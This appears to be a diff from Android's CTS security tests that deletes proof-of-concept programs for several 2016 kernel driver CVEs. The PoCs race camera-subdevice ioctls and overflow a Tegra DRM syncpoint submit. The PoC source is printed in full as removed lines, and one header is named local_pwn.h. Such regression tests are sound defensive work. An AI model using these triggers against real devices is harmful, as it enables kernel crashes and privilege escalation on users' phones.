-#include <fcntl.h>
-#include <signal.h>
-
-#define VIDIOC_MSM_ACTUATOR_CFG 0xc0d056c6
-#define MSM_SD_SHUTDOWN 0xc00856dd
-
-int fd;
-
-
-int main() {
- long i;
- int pid;
- pthread_t th[6];
- int argn[50] = {0};
-
- fd = open("/dev/v4l-subdev7", 0x0ul );
-
-
- argn[0] = 7;
- syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
-
- pid = fork();
- if(!pid){
- argn[0] = 1;
- while(1){
- usleep(10);
- syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
- }
- }
- i = 0;
- while(1){
- i++;
- argn[0] = 7;
- syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
-
- usleep(100);
-
- argn[0] = 0;
- syscall(__NR_ioctl, fd, MSM_SD_SHUTDOWN, argn, 0, 0, 0);
-
- }
-
- close(fd);
-
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
deleted file mode 100644
index 46920cf..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8435
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_CFLAGS += -Wno-missing-braces -Wno-missing-field-initializers
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h b/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h
deleted file mode 100644
index 70574fe..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h
+++ /dev/null
@@ -1,116 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __local_pwn_H__
-#define __local_pwn_H__
-
-#define SIOCIWFIRSTPRIV 0x8BE0
-#define SIOCGIWNAME 0x8B01
-#define IOCTL_SET_STRUCT_FOR_EM (SIOCIWFIRSTPRIV + 11)
-#define PRIV_CUSTOM_BWCS_CMD 13
-#define PRIV_CMD_OID 15
-#define PRIV_CMD_SW_CTRL 20
-#define PRIV_CMD_WSC_PROBE_REQ 22
-
-enum host1x_class {
- HOST1X_CLASS_HOST1X = 0x1,
- HOST1X_CLASS_NVENC = 0x21,
- HOST1X_CLASS_VI = 0x30,
- HOST1X_CLASS_ISPA = 0x32,
- HOST1X_CLASS_ISPB = 0x34,
- HOST1X_CLASS_GR2D = 0x51,
- HOST1X_CLASS_GR2D_SB = 0x52,
- HOST1X_CLASS_VIC = 0x5D,
- HOST1X_CLASS_GR3D = 0x60,
- HOST1X_CLASS_NVJPG = 0xC0,
- HOST1X_CLASS_NVDEC = 0xF0,
-};
-
-#define DRM_COMMAND_BASE 0x40
-#define DRM_COMMAND_END 0xA0
-
-#define DRM_TEGRA_OPEN_CHANNEL 0x05
-#define DRM_TEGRA_CLOSE_CHANNEL 0x06
-#define DRM_TEGRA_SUBMIT 0x08
-
-struct drm_tegra_open_channel {
- __u32 client;
- __u32 pad;
- __u64 context;
-};
-
-struct drm_tegra_close_channel {
- __u64 context;
-};
-
-struct drm_tegra_submit {
- __u64 context;
- __u32 num_syncpts;
- __u32 num_cmdbufs;
- __u32 num_relocs;
- __u32 num_waitchks;
- __u32 waitchk_mask;
- __u32 timeout;
- __u64 syncpts;
- __u64 cmdbufs;
- __u64 relocs;
- __u64 waitchks;
- __u32 fence; /* Return value */
- __u32 reserved0;
- __u64 fences;
- __u32 reserved1[2]; /* future expansion */
-};
-
-#define DRM_IOCTL_BASE 'd'
-#define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type)
-#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
-#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
-#define DRM_IOCTL_TEGRA_SUBMIT DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_SUBMIT, struct drm_tegra_submit)
-
-struct drm_tegra_syncpt {
- __u32 id;
- __u32 incrs;
-};
-
-struct list_head {
- struct list_head *next, *prev;
-};
-
-struct tegra_drm_client_ops {
- void* open_channel;
- void* close_channel;
- void* reset;
- void* is_add_reg;
- void* submit;
-};
-
-struct tegra_drm_client {
- /* sizeof(host1x_client) is 232 */
- unsigned char pad[232]; /* maybe gadget arguments */
- struct list_head list;
- struct tegra_drm_client_ops *ops;
-};
-
-struct tegra_drm_context {
- struct tegra_drm_client *client;
- void *channel;
- struct list_head list;
- /* FIXME we need pass lock op */
- //struct mutex lock;
- //bool keepon;
- //struct host1x_user user;
-};
-
-#endif
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c
deleted file mode 100644
index ff6acb0..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <string.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/ioctl.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include <sys/syscall.h>
-
-#include "local_pwn.h"
-
-#define DEV "/dev/dri/renderD129"
-#define SYN_NUM 64
-
-struct drm_tegra_open_channel open_c = { 0 };
-struct drm_tegra_submit submit_c = { 0 };
-struct drm_tegra_syncpt syncpts[SYN_NUM] = { 0 };
-
-int main()
-{
- int ret;
- int dev_fd;
- int i;
-
- /* open dev */
- dev_fd = open(DEV,O_RDONLY);
- if(dev_fd == -1){
- printf("[-] open dev failed %d %s\n", errno, strerror(errno));
- return 0;
- }
-
- /* prepare for ioctl */
- open_c.client = HOST1X_CLASS_VIC;
- submit_c.num_syncpts = SYN_NUM;
- submit_c.syncpts = (__u64)syncpts;
-
- for(i = 1; i < SYN_NUM; i++){
- syncpts[i].id = 192;
- syncpts[i].incrs = 0xffff;
- }
-
- /* open channel */
- ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
- if(ret == -1){
- printf("[-] open_channel failed %d %s\n", errno, strerror(errno));
- goto out_dev;
- }
- submit_c.context = open_c.context;
- printf("[+] call submit\n");
- ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c);
- printf("[+] submit return %d\n", ret);
-
-out_dev:
- close(dev_fd);
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
deleted file mode 100644
index 531a3d1..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8444
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_CFLAGS += -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c
deleted file mode 100644
index d681a43..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <unistd.h>
-#include <fcntl.h>
-#include <sys/syscall.h>
-#include <stdio.h>
-#include <string.h>
-#include <stdint.h>
-#include <pthread.h>
-
-#define MSM_SD_SHUTDOWN 0xc00856dd
-#define VIDIOC_MSM_ISPIF_CFG 0xc17056c0
-
-struct ispif_cfg_data {
- int32_t cfg_type;
- union {
- int reg_dump; /* ISPIF_ENABLE_REG_DUMP */
- uint32_t csid_version; /* ISPIF_INIT */
- //struct msm_ispif_vfe_info vfe_info; /* ISPIF_SET_VFE_INFO */
- //struct msm_ispif_param_data params; /* CFG, START, STOP */
- };
-};
-
-long r[11];
-
-int fd;
-struct ispif_cfg_data data;
-
-void *worker_thread(void *arg) {
-
- int arg1[3] = {0};
- switch ((long)arg) {
- case 0:
- data.cfg_type = 8; ////release
- ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &data);
- break;
- case 1:
- ioctl(fd, MSM_SD_SHUTDOWN, &arg1);
- break;
- }
- return NULL;
-}
-
-int main() {
-
- int pid,i;
- pthread_t th[4];
- fd = open( "/dev/v4l-subdev17", 0x0ul );
-
- printf("please wait for several seconds...\n");
-
- while(1){
-
- data.cfg_type = 2; ////init
- data.csid_version = 1;
- ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &data);
-
- for (i = 0; i < 2; i++) {
- pthread_create(&th[i], 0, worker_thread, (void *)(long)i);
- usleep(10);
- }
- }
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
deleted file mode 100644
index 01ffa37..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8448
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h b/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h
deleted file mode 100644
index b33073c..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h
+++ /dev/null
@@ -1,397 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __MTKFB_H
-#define __MTKFB_H
-
-#include <linux/types.h>
-#include "mtkfb_info.h"
-
-
-/**NOTICE:
- * Must be consistent with bionic/libc/kernel/linux/common/mtkfb.h
- */
-#define MTK_FB_NO_ION_FD ((int)(~0U>>1))
-#define MTK_FB_NO_USE_LAEYR_ID ((int)(~0U>>1))
-#define FBCAPS_GENERIC_MASK (0x00000fff)
-#define FBCAPS_LCDC_MASK (0x00fff000)
-#define FBCAPS_PANEL_MASK (0xff000000)
-#define FBCAPS_MANUAL_UPDATE (0x00001000)
-#define FBCAPS_SET_BACKLIGHT (0x01000000)
-#define MTKFB_ERROR_IS_EARLY_SUSPEND (0x12000000)
-/* --------------------------------------------------------------------------- */
-/* IOCTL commands. */
-#define MTK_IOW(num, dtype) _IOW('O', num, dtype)
-#define MTK_IOR(num, dtype) _IOR('O', num, dtype)
-#define MTK_IOWR(num, dtype) _IOWR('O', num, dtype)
-#define MTK_IO(num) _IO('O', num)
-#define MTKFB_QUEUE_OVERLAY_CONFIG MTK_IOW(137, struct fb_overlay_config)
-/* -------------------------------------------------------------------------- */
-#define MTKFB_SET_OVERLAY_LAYER MTK_IOW(0, struct fb_overlay_layer)
-#define MTKFB_TRIG_OVERLAY_OUT MTK_IO(1)
-#define MTKFB_SET_VIDEO_LAYERS MTK_IOW(2, struct fb_overlay_layer)
-#define MTKFB_CAPTURE_FRAMEBUFFER MTK_IOW(3, unsigned long)
-#define MTKFB_CONFIG_IMMEDIATE_UPDATE MTK_IOW(4, unsigned long)
-#define MTKFB_SET_MULTIPLE_LAYERS MTK_IOW(5, struct fb_overlay_layer)
-#define MTKFB_REGISTER_OVERLAYBUFFER MTK_IOW(6, struct fb_overlay_buffer_info)
-#define MTKFB_UNREGISTER_OVERLAYBUFFER MTK_IOW(7, unsigned int)
-#define MTKFB_SET_ORIENTATION MTK_IOW(8, unsigned long)
-#define MTKFB_FBLAYER_ENABLE MTK_IOW(9, unsigned int)
-#define MTKFB_LOCK_FRONT_BUFFER MTK_IO(10)
-#define MTKFB_UNLOCK_FRONT_BUFFER MTK_IO(11)
-#define MTKFB_POWERON MTK_IO(12)
-#define MTKFB_POWEROFF MTK_IO(13)
-
-/* Fence/Ion, OVL decoupling */
-#define MTKFB_PREPARE_OVERLAY_BUFFER MTK_IOW(14, struct fb_overlay_buffer)
-
-/* S3D control */
-#define MTKFB_SET_COMPOSING3D MTK_IOW(15, unsigned long)
-#define MTKFB_SET_S3D_FTM MTK_IOW(16, unsigned long)
-
-/* FM De-sense for EM and Normal mode */
-#define MTKFB_GET_DEFAULT_UPDATESPEED MTK_IOR(17, unsigned long)
-#define MTKFB_GET_CURR_UPDATESPEED MTK_IOR(18, unsigned long)
-/* for EM, not called change writecycle because DPI change pll ckl */
-#define MTKFB_CHANGE_UPDATESPEED MTK_IOW(19, unsigned long)
-#define MTKFB_GET_INTERFACE_TYPE MTK_IOR(20, unsigned long) /* /0 DBI, 1 DPI, 2 MIPI */
-#define MTKFB_GET_POWERSTATE MTK_IOR(21, unsigned long) /* /0: power off 1: power on */
-#define MTKFB_GET_DISPLAY_IF_INFORMATION MTK_IOR(22, mtk_dispif_info_t)
-/*called before SET_OVERLAY each time, if true, hwc will not use FB_LAYER again*/
-#define MTKFB_AEE_LAYER_EXIST MTK_IOR(23, unsigned long)
-#define MTKFB_GET_OVERLAY_LAYER_INFO MTK_IOR(24, struct fb_overlay_layer_info)
-#define MTKFB_FACTORY_AUTO_TEST MTK_IOR(25, unsigned long)
-#define MTKFB_GET_FRAMEBUFFER_MVA MTK_IOR(26, unsigned int)
-#define MTKFB_SLT_AUTO_CAPTURE MTK_IOWR(27, struct fb_slt_catpure)
-
-/*error handling*/
-#define MTKFB_META_RESTORE_SCREEN MTK_IOW(101, unsigned long)
-#define MTKFB_ERROR_INDEX_UPDATE_TIMEOUT MTK_IO(103)
-#define MTKFB_ERROR_INDEX_UPDATE_TIMEOUT_AEE MTK_IO(104)
-
-/*restore bootlogo and character in meta mode*/
-#define MTKFB_META_SHOW_BOOTLOGO MTK_IO(105)
-
-/*Extension FB active option*/
-#define FB_ACTIVATE_NO_UPDATE 512 /* Skip frame update */
-/**
- * Just for mt6589 Platform
- * @{
- */
-#define MTKFB_GETVFRAMEPHYSICAL MTK_IOW(41, unsigned long)
-#define MTKFB_WAIT_OVERLAY_READY MTK_IO(42)
-#define MTKFB_GET_OVERLAY_LAYER_COUNT MTK_IOR(43, unsigned long)
-#define MTKFB_GET_VIDEOLAYER_SIZE MTK_IOR(44, struct fb_overlay_layer)
-#define MTKFB_CAPTURE_VIDEOBUFFER MTK_IOW(45, unsigned long)
-
-/* -------------------------------------------------------------------------- */
-/* Video Playback Mode */
-#define MTKFB_TV_POST_VIDEO_BUFFER MTK_IOW(46, unsigned long)
-#define MTKFB_TV_LEAVE_VIDEO_PLAYBACK_MODE MTK_IOW(47, unsigned long)
-/* For Factory Mode */
-#define MTKFB_IS_TV_CABLE_PLUG_IN MTK_IOW(48, unsigned long)
-
-/* -------------------------------------------------------------------------- */
-#define MTKFB_BOOTANIMATION MTK_IO(49)
-#define MTKFB_GETFPS MTK_IOW(50, unsigned long)
-#define MTKFB_VSYNC MTK_IO(51)
-
-/* ----------------------------------------------------------------------FM De-sense for EM and Normal mode */
-#define MTKFB_FM_NOTIFY_FREQ MTK_IOW(52, unsigned long) /* for Normal mode */
-#define MTKFB_RESET_UPDATESPEED MTK_IO(53)
-#define MTKFB_SET_UI_LAYER_ALPHA MTK_IOW(54, unsigned long)
-#define MTKFB_SET_UI_LAYER_SRCKEY MTK_IOW(55, unsigned long)
-
-#define MTKFB_GET_MAX_DISPLAY_COUNT MTK_IOR(56, unsigned int)
-#define MTKFB_SET_FB_LAYER_SECURE MTK_IOW(57, int)
-/**
- * @}
- */
-/* ---------------------------------------------------------------------- */
-
-/* -------------------------------------------------------------------------- */
-
-typedef enum {
- MTK_FB_ORIENTATION_0 = 0,
- MTK_FB_ORIENTATION_90 = 1,
- MTK_FB_ORIENTATION_180 = 2,
- MTK_FB_ORIENTATION_270 = 3,
-} MTK_FB_ORIENTATION;
-
-
-typedef enum {
- MTK_FB_TV_SYSTEM_NTSC = 0,
- MTK_FB_TV_SYSTEM_PAL = 1,
-} MTK_FB_TV_SYSTEM;
-
-
-typedef enum {
- MTK_FB_TV_FMT_RGB565 = 0,
- MTK_FB_TV_FMT_YUV420_SEQ = 1,
- MTK_FB_TV_FMT_UYUV422 = 2,
- MTK_FB_TV_FMT_YUV420_BLK = 3,
-} MTK_FB_TV_SRC_FORMAT;
-
-typedef enum {
- LAYER_NORMAL_BUFFER = 0,
- LAYER_SECURE_BUFFER = 1,
- LAYER_PROTECTED_BUFFER = 2,
- LAYER_SECURE_BUFFER_WITH_ALIGN = 0x10001, /* the higher 16 bits =1 for adding 64 bytes alignment */
-} MTK_FB_OVL_LAYER_SECURE_MODE;
-
-typedef struct _disp_dfo_item {
- char name[32];
- int value;
-} disp_dfo_item_t;
-
-/* -------------------------------------------------------------------------- */
-struct fb_slt_catpure {
- MTK_FB_FORMAT format;
-
- volatile char *outputBuffer;
- unsigned int wdma_width;
- unsigned int wdma_height;
-};
-
-struct fb_scale {
- unsigned int xscale, yscale;
-};
-
-struct fb_frame_offset {
- unsigned int idx;
- unsigned long offset;
-};
-
-struct fb_update_window {
- unsigned int x, y;
- unsigned int width, height;
-};
-
-typedef enum {
- LAYER_2D = 0,
- LAYER_3D_SBS_0 = 0x1,
- LAYER_3D_SBS_90 = 0x2,
- LAYER_3D_SBS_180 = 0x3,
- LAYER_3D_SBS_270 = 0x4,
- LAYER_3D_TAB_0 = 0x10,
- LAYER_3D_TAB_90 = 0x20,
- LAYER_3D_TAB_180 = 0x30,
- LAYER_3D_TAB_270 = 0x40,
-} MTK_FB_LAYER_TYPE;
-
-typedef enum {
- DISP_DIRECT_LINK_MODE,
- DISP_DECOUPLE_MODE
-} MTK_DISP_MODE;
-struct fb_overlay_mode {
- MTK_DISP_MODE mode;
-};
-
-typedef enum { /* map sessions to scenairos in kernel driver */
- DISP_SESSION_LCM = 1 << 0, /* DSI0 */
- DISP_SESSION_MEM = 1 << 1, /* OVL0->WDMA0 */
-/* Extension mode, Dst buf is provided by user,for Wifi Display or other purpose */
- DISP_SESSION_WFD = 1 << 2,
- DISP_SESSION_MHL = 1 << 3, /* DPI */
- DISP_SESSION_LCM1 = 1 << 4, /* DSI1 */
- DISP_SESSION_MEM1 = 1 << 5, /* OVL1->WDMA1 */
- /* TODO:can be extended with other Session Id */
- SESSION_MASK = 0xff & ~(1 << 6)
-} MTK_DISP_SESSION;
-
-struct fb_overlay_session {
- unsigned int session; /* one or more @MTK_DISP_SESSION combined */
-};
-
-struct fb_overlay_decouple {
- MTK_DISP_MODE mode;
- unsigned int session;
-};
-struct fb_overlay_buffer {
- /* Input */
- int layer_id;
- unsigned int layer_en;
- int ion_fd;
- unsigned int cache_sync;
- /* Output */
- unsigned int index;
- int fence_fd;
-};
-
-struct fb_overlay_layer {
- unsigned int layer_id;
- unsigned int layer_enable;
-
- void *src_base_addr;
- void *src_phy_addr;
- unsigned int src_direct_link;
- MTK_FB_FORMAT src_fmt;
- unsigned int src_use_color_key;
- unsigned int src_color_key;
- unsigned int src_pitch;
- unsigned int src_offset_x, src_offset_y;
- unsigned int src_width, src_height;
-
- unsigned int tgt_offset_x, tgt_offset_y;
- unsigned int tgt_width, tgt_height;
- MTK_FB_ORIENTATION layer_rotation;
- MTK_FB_LAYER_TYPE layer_type;
- MTK_FB_ORIENTATION video_rotation;
-
- unsigned int isTdshp; /* set to 1, will go through tdshp first, then layer blending, then to color */
-
- int next_buff_idx;
- int identity;
- int connected_type;
- unsigned int security;
- unsigned int alpha_enable;
- unsigned int alpha;
- int fence_fd; /* 8135 */
- int ion_fd; /* 8135 CL 2340210 */
-};
-
-struct fb_overlay_config {
- int fence;
- int time;
- struct fb_overlay_layer layers[4];
-};
-
-struct fb_overlay_buffer_info {
- unsigned int src_vir_addr;
- unsigned int size;
-};
-
-struct fb_overlay_layer_info {
- unsigned int layer_id;
- unsigned int layer_enabled; /* TO BE DEL */
- unsigned int curr_en;
- unsigned int next_en;
- unsigned int hw_en;
- int curr_idx;
- int next_idx;
- int hw_idx;
- int curr_identity;
- int next_identity;
- int hw_identity;
- int curr_conn_type;
- int next_conn_type;
- int hw_conn_type;
- MTK_FB_ORIENTATION layer_rotation;
-};
-/* -------------------------------------------------------------------------- */
-
-struct fb_post_video_buffer {
- void *phy_addr;
- void *vir_addr;
- MTK_FB_TV_SRC_FORMAT format;
- unsigned int width, height;
-};
-
-#if defined(CONFIG_ARCH_MT6735) || defined(CONFIG_ARCH_MT6735M) || defined(CONFIG_ARCH_MT6753)
-extern unsigned int EnableVSyncLog;
-
-void mtkfb_log_enable(int enable);
-int mtkfb_set_backlight_mode(unsigned int mode);
-int mtkfb_set_backlight_level(unsigned int level);
-int mtkfb_get_debug_state(char *stringbuf, int buf_len);
-unsigned int mtkfb_fm_auto_test(void);
-void mtkfb_clear_lcm(void);
-#endif /* CONFIG_ARCH_MT6735 */
-
-#ifdef __KERNEL__
-
-#include <linux/completion.h>
-#include <linux/interrupt.h>
-#include <linux/workqueue.h>
-#include <linux/version.h>
-#include <../drivers/staging/android/sw_sync.h>
-
-
-#define MTKFB_DRIVER "mtkfb"
-
-enum mtkfb_state {
- MTKFB_DISABLED = 0,
- MTKFB_SUSPENDED = 99,
- MTKFB_ACTIVE = 100
-};
-
-typedef enum {
- MTKFB_LAYER_ENABLE_DIRTY = (1 << 0),
- MTKFB_LAYER_FORMAT_DIRTY = (1 << 1),
- MTKFB_LAYER_SET_DIRTY = (1 << 2),
-} MTKFB_LAYER_CONFIG_DIRTY;
-
-typedef struct {
- struct work_struct work;
- struct list_head list;
- struct fb_overlay_config config;
- struct sync_fence *fences[4];
- struct ion_handle *ion_handles[4];
- void *dev;
-} update_ovls_work_t;
-
-struct mtkfb_device {
- int state;
- void *fb_va_base; /* MPU virtual address */
- dma_addr_t fb_pa_base; /* Bus physical address */
- unsigned long fb_size_in_byte;
- void *ovl_va_base; /* MPU virtual address */
- dma_addr_t ovl_pa_base; /* Bus physical address */
- unsigned long ovl_size_in_byte;
-
- unsigned long layer_enable;
- MTK_FB_FORMAT *layer_format;
- unsigned int layer_config_dirty;
-
- int xscale, yscale, mirror; /* transformations.
- rotate is stored in fb_info->var */
- u32 pseudo_palette[17];
-
- struct fb_info *fb_info; /* Linux fbdev framework data */
- struct device *dev;
-
- /* Android native fence support */
- struct workqueue_struct *update_ovls_wq;
- struct mutex timeline_lock;
- struct sw_sync_timeline *timeline;
- int timeline_max;
- struct list_head pending_configs; /* CL2340210 */
- struct ion_client *ion_client;
-};
-
-#endif /* __KERNEL__ */
-
-extern long hdmi_handle_cmd(unsigned int cmd, unsigned long arg);
-
-#if defined(CONFIG_ARCH_MT6797)
-extern unsigned int vramsize;
-#endif
-
-#if defined(CONFIG_ARCH_MT6735) || defined(CONFIG_ARCH_MT6735M) || defined(CONFIG_ARCH_MT6753)
-extern bool is_early_suspended;
-extern void mtkfb_waitVsync(void);
-extern bool is_ipoh_bootup;
-
-#ifdef CONFIG_OF
-int _parse_tag_videolfb(void);
-extern unsigned int islcmconnected;
-extern unsigned int vramsize;
-#else
-extern char *saved_command_line;
-#endif
-#endif /* CONFIG_ARCH_MT6735 */
-
-
-#endif /* __MTKFB_H */
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h b/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h
deleted file mode 100644
index 61e7cfd..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb_info.h
+++ /dev/null
@@ -1,101 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#ifndef __MTKFB_INFO_H__
-#define __MTKFB_INFO_H__
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-
- typedef enum {
- DISPIF_TYPE_DBI = 0,
- DISPIF_TYPE_DPI,
- DISPIF_TYPE_DSI,
- DISPIF_TYPE_DPI0,
- DISPIF_TYPE_DPI1,
- DISPIF_TYPE_DSI0,
- DISPIF_TYPE_DSI1,
- HDMI = 7,
- HDMI_SMARTBOOK,
- MHL,
- DISPIF_TYPE_EPD,
- SLIMPORT
- } MTKFB_DISPIF_TYPE;
-
- typedef enum {
- MTKFB_DISPIF_PRIMARY_LCD = 0,
- MTKFB_DISPIF_HDMI,
- MTKFB_DISPIF_EPD,
- MTKFB_MAX_DISPLAY_COUNT
- } MTKFB_DISPIF_DEVICE_TYPE;
-
- typedef enum {
- DISPIF_FORMAT_RGB565 = 0,
- DISPIF_FORMAT_RGB666,
- DISPIF_FORMAT_RGB888
- } MTKFB_DISPIF_FORMAT;
-
